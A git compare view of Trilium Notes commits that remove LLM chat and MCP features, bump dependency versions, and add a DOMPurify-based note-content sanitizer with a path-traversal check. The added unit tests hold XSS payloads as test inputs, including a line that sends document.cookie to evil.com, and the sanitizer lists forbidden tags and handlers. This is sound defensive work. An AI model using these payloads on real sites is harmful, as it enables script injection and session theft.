Compare commits

..

3 Commits

181 changed files with 5052 additions and 8994 deletions

View File

@@ -186,14 +186,6 @@ When adding query parameters to ETAPI endpoints (`apps/server/src/etapi/`), main
**Auth note**: ETAPI uses basic auth with tokens. Internal API endpoints trust the frontend.
### Adding New LLM Tools
Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/` and automatically registered for both the LLM chat and MCP server.
1. Add the tool definition in the appropriate module (`note_tools.ts`, `attribute_tools.ts`, `hierarchy_tools.ts`) or create a new module
2. Each tool needs: `description`, `inputSchema` (Zod), `execute` function, and optionally `mutates: true` for write operations or `needsContext: true` for tools that need the current note context
3. If creating a new module, wrap tools in `defineTools({...})` and add the registry to `allToolRegistries` in `tools/index.ts`
4. Add a client-side friendly name in `apps/client/src/translations/en/translation.json` under `llm.tools.<tool_name>` — use **imperative tense** (e.g. "Search notes", "Create note", "Get attributes"), not present continuous
### Database Migrations
- Add scripts in `apps/server/src/migrations/YYMMDD_HHMM__description.sql`
- Update schema in `apps/server/src/assets/db/schema.sql`
@@ -221,12 +213,6 @@ Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/`
10. **Attribute inheritance can be complex** - When checking for labels/relations, use `note.getOwnedAttribute()` for direct attributes or `note.getAttribute()` for inherited ones. Don't assume attributes are directly on the note.
## MCP Server
- Trilium exposes an MCP (Model Context Protocol) server at `http://localhost:8080/mcp`, configured in `.mcp.json`
- The MCP server is **only available when the Trilium server is running** (`pnpm run server:start`)
- It provides tools for reading, searching, and modifying notes directly from the AI assistant
- Use it to interact with actual note data when developing or debugging note-related features
## TypeScript Configuration
- **Project references**: Monorepo uses TypeScript project references (`tsconfig.json`)
@@ -313,7 +299,6 @@ Trilium provides powerful user scripting capabilities:
- Translation files in `apps/client/src/translations/`
- Use translation system via `t()` function
- Automatic pluralization: Add `_other` suffix to translation keys (e.g., `item` and `item_other` for singular/plural)
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
## Testing Conventions

View File

@@ -1,8 +0,0 @@
{
"mcpServers": {
"trilium": {
"type": "http",
"url": "http://localhost:8080/mcp"
}
}
}

2
.nvmrc
View File

@@ -1 +1 @@
24.14.1
24.14.0

View File

@@ -118,9 +118,6 @@ Trilium provides powerful user scripting capabilities:
### Internationalization
- Translation files in `apps/client/src/translations/`
- Supported languages: English, German, Spanish, French, Romanian, Chinese
- **Only add new translation keys to `en/translation.json`** — translations for other languages are managed via Weblate and will be contributed by the community
- Third-party components (e.g., mind-map context menu) should use i18next `t()` for their labels, with the English strings added to `en/translation.json` under a dedicated namespace (e.g., `"mind-map"`)
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
### Security Considerations
- Per-note encryption with granular protected sessions
@@ -128,15 +125,6 @@ Trilium provides powerful user scripting capabilities:
- OpenID and TOTP authentication support
- Sanitization of user-generated content
### Client-Side API Restrictions
- **Do not use `crypto.randomUUID()`** or other Web Crypto APIs that require secure contexts - Trilium can run over HTTP, not just HTTPS
- Use `randomString()` from `apps/client/src/services/utils.ts` for generating IDs instead
### Shared Types Policy
- Types shared between client and server belong in `@triliumnext/commons` (`packages/commons/src/lib/`)
- Import shared types directly from `@triliumnext/commons` - do not re-export them from app-specific modules
- Keep app-specific types (e.g., `LlmProvider` for server, `StreamCallbacks` for client) in their respective apps
## Common Development Tasks
### Adding New Note Types
@@ -152,30 +140,10 @@ Trilium provides powerful user scripting capabilities:
- Create new package in `packages/` following existing plugin structure
- Register in `packages/ckeditor5/src/plugins.ts`
### Adding New LLM Tools
Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/` and automatically registered for both the LLM chat and MCP server.
1. Add the tool definition in the appropriate module (`note_tools.ts`, `attribute_tools.ts`, `hierarchy_tools.ts`) or create a new module
2. Each tool needs: `description`, `inputSchema` (Zod), `execute` function, and optionally `mutates: true` for write operations or `needsContext: true` for tools that need the current note context
3. If creating a new module, wrap tools in `defineTools({...})` and add the registry to `allToolRegistries` in `tools/index.ts`
4. Add a client-side friendly name in `apps/client/src/translations/en/translation.json` under `llm.tools.<tool_name>` — use **imperative tense** (e.g. "Search notes", "Create note", "Get attributes"), not present continuous
### Database Migrations
- Add migration scripts in `apps/server/src/migrations/`
- Update schema in `apps/server/src/assets/db/schema.sql`
### Server-Side Static Assets
- Static assets (templates, SQL, translations, etc.) go in `apps/server/src/assets/`
- Access them at runtime via `RESOURCE_DIR` from `apps/server/src/services/resource_dir.ts` (e.g. `path.join(RESOURCE_DIR, "llm", "skills", "file.md")`)
- **Do not use `import.meta.url`/`fileURLToPath`** to resolve file paths — the server is bundled into CJS for production, so `import.meta.url` will not point to the source directory
- **Do not use `__dirname` with relative paths** from source files — after bundling, `__dirname` points to the bundle output, not the original source tree
## MCP Server
- Trilium exposes an MCP (Model Context Protocol) server at `http://localhost:8080/mcp`, configured in `.mcp.json`
- The MCP server is **only available when the Trilium server is running** (`pnpm run server:start`)
- It provides tools for reading, searching, and modifying notes directly from the AI assistant
- Use it to interact with actual note data when developing or debugging note-related features
## Build System Notes
- Uses pnpm for monorepo management
- Vite for fast development builds

View File

@@ -14,15 +14,15 @@
"keywords": [],
"author": "Elian Doran <contact@eliandoran.me>",
"license": "AGPL-3.0-only",
"packageManager": "pnpm@10.33.0",
"packageManager": "pnpm@10.32.1",
"devDependencies": {
"@redocly/cli": "2.25.3",
"@redocly/cli": "2.24.1",
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",
"react": "19.2.4",
"react-dom": "19.2.4",
"typedoc": "0.28.18",
"typedoc": "0.28.17",
"typedoc-plugin-missing-exports": "4.1.2"
}
}

View File

@@ -28,48 +28,48 @@
"@mermaid-js/layout-elk": "0.2.1",
"@mind-elixir/node-menu": "5.0.1",
"@popperjs/core": "2.11.8",
"@preact/signals": "2.9.0",
"@preact/signals": "2.8.2",
"@triliumnext/ckeditor5": "workspace:*",
"@triliumnext/codemirror": "workspace:*",
"@triliumnext/commons": "workspace:*",
"@triliumnext/highlightjs": "workspace:*",
"@triliumnext/share-theme": "workspace:*",
"@triliumnext/split.js": "workspace:*",
"@univerjs/preset-sheets-conditional-formatting": "0.19.0",
"@univerjs/preset-sheets-core": "0.19.0",
"@univerjs/preset-sheets-data-validation": "0.19.0",
"@univerjs/preset-sheets-filter": "0.19.0",
"@univerjs/preset-sheets-find-replace": "0.19.0",
"@univerjs/preset-sheets-note": "0.19.0",
"@univerjs/preset-sheets-sort": "0.19.0",
"@univerjs/presets": "0.19.0",
"@zumer/snapdom": "2.7.0",
"@univerjs/preset-sheets-conditional-formatting": "0.18.0",
"@univerjs/preset-sheets-core": "0.18.0",
"@univerjs/preset-sheets-data-validation": "0.18.0",
"@univerjs/preset-sheets-filter": "0.18.0",
"@univerjs/preset-sheets-find-replace": "0.18.0",
"@univerjs/preset-sheets-note": "0.18.0",
"@univerjs/preset-sheets-sort": "0.18.0",
"@univerjs/presets": "0.18.0",
"@zumer/snapdom": "2.5.0",
"autocomplete.js": "0.38.1",
"bootstrap": "5.3.8",
"boxicons": "2.1.4",
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.3.3",
"dompurify": "3.2.5",
"draggabilly": "3.0.0",
"force-graph": "1.51.2",
"globals": "17.4.0",
"i18next": "25.10.10",
"i18next": "25.10.3",
"i18next-http-backend": "3.0.2",
"jquery": "4.0.0",
"jquery.fancytree": "2.38.5",
"jsplumb": "2.15.6",
"katex": "0.16.44",
"katex": "0.16.40",
"leaflet": "1.9.4",
"leaflet-gpx": "2.2.0",
"mark.js": "8.11.1",
"marked": "17.0.5",
"mermaid": "11.13.0",
"mind-elixir": "5.10.0",
"mind-elixir": "5.9.3",
"normalize.css": "8.0.1",
"panzoom": "9.4.4",
"panzoom": "9.4.3",
"preact": "10.29.0",
"react-i18next": "17.0.1",
"react-i18next": "16.6.0",
"react-window": "2.2.7",
"reveal.js": "6.0.0",
"rrule": "2.8.1",
@@ -87,9 +87,9 @@
"@types/mark.js": "8.11.12",
"@types/tabulator-tables": "6.3.1",
"copy-webpack-plugin": "14.0.0",
"happy-dom": "20.8.9",
"happy-dom": "20.8.4",
"lightningcss": "1.32.0",
"script-loader": "0.7.2",
"vite-plugin-static-copy": "4.0.0"
"vite-plugin-static-copy": "3.3.0"
}
}

View File

@@ -508,7 +508,7 @@ type EventMappings = {
contentSafeMarginChanged: {
top: number;
noteContext: NoteContext;
};
}
};
export type EventListener<T extends EventNames> = {

View File

@@ -18,7 +18,7 @@ const RELATION = "relation";
* end user. Those types should be used only for checking against, they are
* not for direct use.
*/
export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap" | "spreadsheet" | "llmChat";
export type NoteType = "file" | "image" | "search" | "noteMap" | "launcher" | "doc" | "contentWidget" | "text" | "relationMap" | "render" | "canvas" | "mermaid" | "book" | "webView" | "code" | "mindMap" | "spreadsheet";
export interface NotePathRecord {
isArchived: boolean;

View File

@@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -84,55 +84,6 @@ async function createSearchNote(opts = {}) {
return await froca.getNote(note.noteId);
}
async function createLlmChat() {
const note = await server.post<FNoteRow>("special-notes/llm-chat");
await ws.waitForMaxKnownEntityChangeId();
return await froca.getNote(note.noteId);
}
/**
* Gets the most recently modified LLM chat.
* Returns null if no chat exists.
*/
async function getMostRecentLlmChat() {
const note = await server.get<FNoteRow | null>("special-notes/most-recent-llm-chat");
if (!note) {
return null;
}
await ws.waitForMaxKnownEntityChangeId();
return await froca.getNote(note.noteId);
}
/**
* Gets the most recent LLM chat, or creates a new one if none exists.
* Used by sidebar chat for persistent conversations across page refreshes.
*/
async function getOrCreateLlmChat() {
const note = await server.get<FNoteRow>("special-notes/get-or-create-llm-chat");
await ws.waitForMaxKnownEntityChangeId();
return await froca.getNote(note.noteId);
}
export interface RecentLlmChat {
noteId: string;
title: string;
dateModified: string;
}
/**
* Gets a list of recent LLM chats for the history popup.
*/
async function getRecentLlmChats(limit: number = 10): Promise<RecentLlmChat[]> {
return await server.get<RecentLlmChat[]>(`special-notes/recent-llm-chats?limit=${limit}`);
}
export default {
getInboxNote,
getTodayNote,
@@ -143,9 +94,5 @@ export default {
getMonthNote,
getYearNote,
createSqlConsole,
createSearchNote,
createLlmChat,
getMostRecentLlmChat,
getOrCreateLlmChat,
getRecentLlmChats
createSearchNote
};

View File

@@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
const $content = $("<div>");
if (docName) {
// Sanitize docName to prevent path traversal attacks (e.g.,
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
docName = sanitizeDocName(docName);
if (!docName) {
console.warn("Blocked potentially malicious docName attribute value.");
resolve($content);
return;
}
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, async (response, status) => {
@@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}
function sanitizeDocName(docNameValue: string): string | null {
// Strip any path traversal sequences and dangerous URL characters.
// Legitimate docName values are simple paths like "User Guide/Topic" or
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
// hyphens, spaces, and forward slashes for subdirectories.
// Reject values containing path traversal (../, ..\) or URL control
// characters (?, #, :, @) that could be used to escape the doc_notes
// directory or manipulate the resulting URL.
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
return null;
}
// Remove any leading slashes to prevent absolute path construction.
docNameValue = docNameValue.replace(/^\/+/, "");
// After stripping, ensure only safe characters remain:
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
// (periods are allowed for filenames but .. was already rejected above).
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
return docNameValue;
}
function getUrl(docNameValue: string, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");

View File

@@ -13,11 +13,6 @@ export const experimentalFeatures = [
id: "new-layout",
name: t("experimental_features.new_layout_name"),
description: t("experimental_features.new_layout_description"),
},
{
id: "llm",
name: t("experimental_features.llm_name"),
description: t("experimental_features.llm_description"),
}
] as const satisfies ExperimentalFeature[];

View File

@@ -19,8 +19,7 @@ export const byNoteType: Record<Exclude<NoteType, "book">, string | null> = {
search: null,
text: null,
webView: null,
spreadsheet: null,
llmChat: null
spreadsheet: null
};
export const byBookType: Record<ViewTypeOptions, string | null> = {

View File

@@ -1,110 +0,0 @@
import type { LlmChatConfig, LlmCitation, LlmMessage, LlmModelInfo,LlmUsage } from "@triliumnext/commons";
import server from "./server.js";
/**
* Fetch available models from all configured providers.
*/
export async function getAvailableModels(): Promise<LlmModelInfo[]> {
const response = await server.get<{ models?: LlmModelInfo[] }>("llm-chat/models");
return response.models ?? [];
}
export interface StreamCallbacks {
onChunk: (text: string) => void;
onThinking?: (text: string) => void;
onToolUse?: (toolName: string, input: Record<string, unknown>) => void;
onToolResult?: (toolName: string, result: string, isError?: boolean) => void;
onCitation?: (citation: LlmCitation) => void;
onUsage?: (usage: LlmUsage) => void;
onError: (error: string) => void;
onDone: () => void;
}
/**
* Stream a chat completion from the LLM API using Server-Sent Events.
*/
export async function streamChatCompletion(
messages: LlmMessage[],
config: LlmChatConfig,
callbacks: StreamCallbacks
): Promise<void> {
const headers = await server.getHeaders();
const response = await fetch(`${window.glob.baseApiUrl}llm-chat/stream`, {
method: "POST",
headers: {
...headers,
"Content-Type": "application/json"
} as HeadersInit,
body: JSON.stringify({ messages, config })
});
if (!response.ok) {
callbacks.onError(`HTTP ${response.status}: ${response.statusText}`);
return;
}
const reader = response.body?.getReader();
if (!reader) {
callbacks.onError("No response body");
return;
}
const decoder = new TextDecoder();
let buffer = "";
try {
while (true) {
const { done, value } = await reader.read();
if (done) break;
buffer += decoder.decode(value, { stream: true });
const lines = buffer.split("\n");
buffer = lines.pop() || "";
for (const line of lines) {
if (line.startsWith("data: ")) {
try {
const data = JSON.parse(line.slice(6));
switch (data.type) {
case "text":
callbacks.onChunk(data.content);
break;
case "thinking":
callbacks.onThinking?.(data.content);
break;
case "tool_use":
callbacks.onToolUse?.(data.toolName, data.toolInput);
break;
case "tool_result":
callbacks.onToolResult?.(data.toolName, data.result, data.isError);
break;
case "citation":
if (data.citation) {
callbacks.onCitation?.(data.citation);
}
break;
case "usage":
if (data.usage) {
callbacks.onUsage?.(data.usage);
}
break;
case "error":
callbacks.onError(data.error);
break;
case "done":
callbacks.onDone();
break;
}
} catch (e) {
console.error("Failed to parse SSE data line:", line, e);
}
}
}
}
} finally {
reader.releaseLock();
}
}

View File

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -1,7 +1,6 @@
import type { NoteType } from "../entities/fnote.js";
import type { MenuCommandItem, MenuItem, MenuItemBadge, MenuSeparatorItem } from "../menus/context_menu.js";
import type { TreeCommandNames } from "../menus/tree_context_menu.js";
import { isExperimentalFeatureEnabled } from "./experimental_features.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import server from "./server.js";
@@ -42,7 +41,6 @@ export const NOTE_TYPES: NoteTypeMapping[] = [
{ type: "relationMap", mime: "application/json", title: t("note_types.relation-map"), icon: "bxs-network-chart" },
// Misc note types
{ type: "llmChat", mime: "application/json", title: t("note_types.llm-chat"), icon: "bx-message-square-dots", isBeta: true },
{ type: "render", mime: "", title: t("note_types.render-note"), icon: "bx-extension" },
{ type: "search", title: t("note_types.saved-search"), icon: "bx-file-find", static: true },
{ type: "webView", mime: "", title: t("note_types.web-view"), icon: "bx-globe-alt" },
@@ -94,7 +92,6 @@ async function getNoteTypeItems(command?: TreeCommandNames) {
function getBlankNoteTypes(command?: TreeCommandNames): MenuItem<TreeCommandNames>[] {
return NOTE_TYPES
.filter((nt) => !nt.reserved && nt.type !== "book")
.filter((nt) => nt.type !== "llmChat" || isExperimentalFeatureEnabled("llm"))
.map((nt) => {
const menuItem: MenuCommandItem<TreeCommandNames> = {
title: nt.title,

View File

@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -0,0 +1,161 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
